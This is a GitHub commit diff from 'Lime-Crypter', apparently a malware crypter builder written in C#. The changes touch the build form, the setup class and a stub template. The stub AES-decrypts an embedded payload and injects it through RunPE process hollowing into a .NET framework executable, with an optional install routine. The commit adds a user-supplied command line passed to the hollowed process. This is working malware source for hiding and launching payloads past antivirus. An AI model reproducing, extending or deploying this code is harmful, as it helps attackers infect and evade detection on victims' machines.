Skip to content

Commit

Permalink
Update
Browse files Browse the repository at this point in the history
  • Loading branch information
Nyrotication committed Oct 2, 2019
1 parent 6268529 commit ac5559d
Show file tree
Hide file tree
Showing 4 changed files with 66 additions and 13 deletions.
12 changes: 11 additions & 1 deletion Lime-Crypter/Build/SetupBuild.cs
Original file line number Diff line number Diff line change
Expand Up @@ -43,6 +43,9 @@ public class SetupBuild
public string PayloadResources { get; set; }
public string StubLib { get; set; }
public string AesKey { get; set; }
public string CommandLine { get; set; }
public bool CommaLineIsChecked { get; set; }

#endregion

public string Compile()
Expand Down Expand Up @@ -185,12 +188,19 @@ public void PrepareSource()
Stub = Stub.Replace("#Injection", InjectionName);
}
else
Stub = Stub.Replace("#Injection", "\"" + InjectionName + ".exe" + "\"");
{
Stub = Stub.Replace("#Injection", @"Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace(""Framework64"", ""Framework""), """ + InjectionName + @".exe"")");
}
Stub = Stub.Replace("#AesKey", AesKey);

if (IsInstall)
Stub = Stub.Replace("//#define install", "#define install");

if (CommaLineIsChecked)
Stub = Stub.Replace("#cmd", CommandLine);
else
Stub = Stub.Replace("#cmd", "");

Stub = Stub.Replace("#FileName", FileName + ".exe");
Stub = Stub.Replace("@FolderName", @"" + FolderName + @"");
Stub = Stub.Replace("#SecondFolder", SecondFolder);
Expand Down
53 changes: 44 additions & 9 deletions Lime-Crypter/Forms/Form1.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

10 changes: 9 additions & 1 deletion Lime-Crypter/Forms/Form1.cs
Original file line number Diff line number Diff line change
Expand Up @@ -121,6 +121,8 @@ private async void BtnBuild_Click(object sender, EventArgs e)
SetupBuild setupBuild = new SetupBuild
{
PayloadName = txtPayload.Text, //payload
CommaLineIsChecked = checkBox1.Checked,
CommandLine = txtCmd.Text,
SaveFileName = saveFileDialog.FileName, //save path

//install
Expand Down Expand Up @@ -211,6 +213,12 @@ private void ChkInstall_CheckedChanged(object sender, EventArgs e)
}
}


private void CheckBox1_CheckedChanged(object sender, EventArgs e)
{
if (checkBox1.Checked)
txtCmd.Enabled = true;
else
txtCmd.Enabled = false;
}
}
}
4 changes: 2 additions & 2 deletions Lime-Crypter/Resources/Stub.cs
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ public void Run()
Installer installer = new Installer();
installer.Run();
#endif
RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), #Injection), AES_Decrypt(GetResource("#Payload")), false);
RunPE.Run(#Injection, AES_Decrypt(GetResource("#Payload")), false);
Environment.Exit(0);
}

Expand Down Expand Up @@ -227,7 +227,7 @@ public static bool Run(string path, byte[] data, bool protect)
private static bool HandleRun(string path, byte[] data, bool protect)
{
int readWrite = 0;
string quotedPath = "";
string quotedPath = "#cmd";
StartupInformation si = new StartupInformation();
ProcessInformation pi = new ProcessInformation();
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
Expand Down

0 comments on commit ac5559d

Please sign in to comment.